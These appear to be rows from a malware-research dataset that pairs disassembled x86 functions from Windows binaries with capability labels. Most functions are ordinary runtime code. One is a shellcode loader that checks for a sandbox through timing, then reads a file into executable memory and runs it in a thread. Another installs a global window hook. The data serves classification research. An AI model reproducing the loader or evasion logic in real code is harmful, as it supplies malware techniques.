joyce8/EMBER2024-capa huggingface dataset:
Function at 0x455760
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x45590b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4558ec
mov dl, 1
mov eax, dword [0x417b40]
call fcn.004031ac
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f14
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4558db
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0044376c
test al, al
je 0x4558ce
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x45591c
lea eax, [ebp - 0x254]
call fcn.00408d0c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4558ce
xor eax, eax
push ebp
push 0x4558c7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x455954
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4558b0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404184
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4558b0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404184
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4558ce
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4557d1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.0041b61c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x455912
lea eax, [ebp - 0x260]
call fcn.00403f14
ret

Function at 0x456240
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x463bb4]
cmp byte [eax + 0xa5], 0
jne 0x4562b1
cmp dword [0x463bcc], 0
jne 0x456272
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4561fc
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x463bcc], eax
cmp dword [0x463bc8], 0
jne 0x45628d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x463bc8], eax
cmp dword [0x463bd0], 0
jne 0x4562b1
push esp
push 0
push 0
push 0x4561a0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x463bd0], eax
pop edx
ret
Function at 0x4563a8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x4563bf
add esp, 0xfffffff0
call fcn.004034e8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041f42c
mov eax, dword [0x462288]
cmp word [eax + 2], 0
jne 0x4563e7
mov eax, dword [0x462288]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00457b28
mov eax, dword [0x462344]
cmp word [eax + 2], 0
jne 0x456401
mov eax, dword [0x462344]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00457d20
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x417724]
call fcn.004031ac
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x417724]
call fcn.004031ac
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x421600]
call fcn.00427304
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x456588
mov eax, dword [0x46217c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004276d4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4582c0
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x46217c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c470
test eax, eax
je 0x4564f6
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408700
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c498
test eax, eax
je 0x45650a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404184
mov eax, dword [0x462040]
cmp byte [eax], 0
jne 0x45653e
mov eax, ebx
call fcn.004566b0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045849c
mov eax, ebx
call fcn.00458e60
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45657e
call fcn.00403540
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x456930
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x463bb4]
cmp dword [eax + 0x30], 0
je 0x4569da
cmp dword [ebx + 0x94], 0
jne 0x4569d4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4568c0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4569d4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45699a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4569d4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00419a8c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4569a9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45753c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x457571
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404004
jmp 0x45757e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403f68
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x458678
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4586b9
mov eax, esi
call fcn.0043ed54
test al, al
je 0x4586b9
mov eax, dword [ebx + 0x84]
call fcn.0043ea50
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4586b9
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043ea50
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x10005450
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Execute shellcode via indirect call
Get common file path
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10021040]
xor eax, esp
mov dword [esp + 0x108], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov esi, eax
push 0x1388
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
call edi
sub eax, esi
cmp eax, 0x1387
ja 0x100054a3
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.10006182
xor eax, eax
add esp, 0x10c
pop esi
pop edi
pop ebx
ret
mov dword [esp], 0
lea esi, [esp + 4]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
call fcn.100075e0
add esp, 4
mov dword [esp + eax + 4], 0x6e6f635c
mov dword [esp + eax + 8], 0x2e676966
mov dword [esp + eax + 0xc], 0x696e69
sub esp, 0x1c
movaps xmm0, xmmword [0x1001d040]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov eax, esp
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
push 0
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop word [eax + eax]
push 0x1388
call esi
jmp 0x10005550

Function at 0x100069d9
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10006a18
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10006a18
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10006a18
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10006a18
cmp dword [ecx + 0x74], 0xe
jbe 0x10006a18
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10007930
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000795d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000795d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10007cdd
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017610
push 0x10017608
push str.FlsAlloc
push 0x1f
call fcn.10007fc0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007d11
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001ff48]
call esi
jmp 0x10007d17
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x10007d5b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017620
push 0x10017618
push str.FlsGetValue
push 0x21
call fcn.10007fc0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007d92
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001ff48]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10007d9a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10017628
push 0x10017620
push str.FlsSetValue
push 0x22
call fcn.10007fc0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007dd4
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001ff48]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000b17e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000b21b
push ebx
push esi
call fcn.1000b21e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000b082
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000b1c8
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b21a
push edi
push eax
call fcn.1000b819
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000b1e8
call fcn.100092a7
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b219
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000b082
add esp, 0x20
test eax, eax
jne 0x1000b207
push edi
call fcn.100092a7
jmp 0x1000b20f
push ebx
call fcn.100092a7
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1003360d
Capabilities:
Terminate process

Disassembly:
jmp 0x10074464
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x10074475
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.10034a8f
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x100336a8
Capabilities:
Query environment variable

Disassembly:
jmp 0x1007f424
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1007f435
pop esi
ret
push ebx
push edi
push esi
call fcn.1007f30b
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10033bf3
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1007f45d
push ebx
push esi
push edi
call fcn.10034940
add esp, 0xc
push 0
call fcn.10034fc6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x1007d14b
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x100ad014]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x1007d196
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.1007d70c
test al, al
jne 0x1007d190
sub edx, 2
cmp edx, edi
jne 0x1007d176
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x1007d1b8
lea eax, [edi + 2]
cmp edx, eax
je 0x1007d1b8
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.1007cd44
add esp, 0x10
jmp 0x1007d2b2
push esi
lea ecx, [ebp - 0x255]
call fcn.1007d70c
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1007d1fb
push dword [ebp - 0x25c]
jmp 0x1007d1a8
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x1007d238
cmp word [ebp - 0x226], 0
je 0x1007d259
cmp word [ebp - 0x226], ax
jne 0x1007d238
cmp word [ebp - 0x224], 0
je 0x1007d259
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.1007cd44
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x1007d2a5
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x1007d212
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x1007d28d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x1007d2b2
push 0x1007c62a
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.10034850
add esp, 0x10
jmp 0x1007d282
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100332d4
leave
ret
Function at 0x100910c3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x100ae998]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10091103
cmp byte [ebx], 0xa
jne 0x10091103
or byte [eax + edi + 0x28], 4
jmp 0x10091108
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x10091206
mov al, byte [edx]
cmp al, 0x1a
je 0x100911e8
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x10091137
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x1009115c
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x10091166
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x10091119
jmp 0x10091206
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100911e3
cmp dword [ebp - 0xc], 0
je 0x100911e3
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x100ae998]
test byte [eax + edi + 0x28], 0x48
je 0x100911bd
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100911a8
mov byte [esi], dl
jmp 0x100911b9
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x100ae998]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10091206
cmp byte [ebp - 1], 0xa
jne 0x100911cc
cmp esi, ebx
jne 0x100911cc
mov byte [esi], 0xa
jmp 0x10091205
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.10032569
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10091206
mov byte [esi], 0xd
jmp 0x10091205
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x100ae998]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10091202
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10091206
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10091262
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x100ae998]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100912a5
cmp word [esi], dx
jne 0x100912a5
or byte [edi + eax + 0x28], 4
jmp 0x100912aa
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x100913fd
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x100913dd
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x100912ec
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x10091322
cmp eax, edx
jae 0x1009132e
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x100912c4
jmp 0x100913fd
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100913d9
cmp dword [ebp - 0x14], 0
je 0x100913d9
mov eax, dword [ebx*4 + 0x100ae998]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x100913b1
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x1009137a
mov word [esi], cx
jmp 0x100913ad
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x100ae998]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x100ae998]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x100ae998]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x100913fd
pop ebx
cmp word [ebp - 4], bx
jne 0x100913c2
cmp esi, dword [ebp + 0xc]
jne 0x100913c2
mov word [esi], bx
jmp 0x100913fa
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.10032569
add esp, 0x10
cmp word [ebp - 4], bx
je 0x100913fd
push 0xd
jmp 0x100913f6
mov ecx, dword [ebx*4 + 0x100ae998]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100913f4
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100913fd
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4013cf
Capabilities:
Get number of processors

Disassembly:
mov ecx, 0x509760
jmp 0x4013c3
mov eax, 0x4c7a24
call fcn.00496fcc
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.004014f4
mov eax, dword [0x505148]
lea ecx, [esi + 0xac]
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ecx], eax
mov eax, dword [0x505148]
mov dword [esi + 0xb4], eax
push 1
mov dword [esi], 0x4cf7cc
pop eax
mov ebx, 0x50975c
push 0xa
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], 7
or dword [esi + 0x28], 0xffffffff
or dword [esi + 0x24], 0xffffffff
pop edx
push 0x64
mov dword [esi + 0x30], edi
mov dword [esi + 0x64], edx
mov dword [esi + 0x6c], edx
mov dword [esi + 0x2c], edi
pop edx
mov dword [esi + 0x34], 2
mov dword [esi + 0x38], eax
push ebx
mov byte [ebp - 4], 2
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], 5
mov dword [esi + 0x60], eax
mov dword [esi + 0x68], eax
mov dword [esi + 0x9c], edx
mov dword [esi + 0xa0], edx
mov dword [esi + 0xa4], edi
mov dword [esi + 0x70], eax
mov dword [esi + 0x74], eax
mov dword [esi + 0x78], 0x3e8
mov dword [esi + 0x7c], eax
mov dword [esi + 0x80], eax
mov dword [esi + 0x84], eax
mov dword [esi + 0x88], eax
mov dword [esi + 0x8c], 0xc0
mov dword [esi + 0x90], 0x6c
mov dword [esi + 0x94], eax
mov dword [esi + 0x98], edi
mov dword [esi + 0xa8], edi
call fcn.004b22cd
push ebx
lea ecx, [esi + 0xb4]
mov dword [esi + 0xb0], edi
call fcn.004b22cd
or dword [esi + 0xc0], 0xffffffff
or dword [esi + 0xbc], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0xb8], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret